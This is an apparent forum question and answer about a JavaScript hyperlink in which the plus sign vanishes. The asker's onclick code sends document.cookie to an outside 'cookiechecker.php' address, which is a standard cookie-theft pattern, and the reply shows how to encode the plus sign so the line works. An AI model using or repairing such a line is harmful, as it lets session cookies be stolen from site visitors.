So, I’ve been doing JavaScript for a while now and stumbled upon a problem. When I tried to do a hyperlink with JavaScript encoded into it, the plus sign just disappears and the hyperlink for the JavaScript code doesn’t work. So, is there an alternate sign for the plus sign in JavaScript? Is there another sign I can use that does the same functions as a plus sign?
Here is my code:
onclick="document.location='site.com/cookiechecker.php?cookie='; +escape(document.cookie);"
%2b is the hex value for “+”. (You may have seen %20 in the address bar before.. Same idea)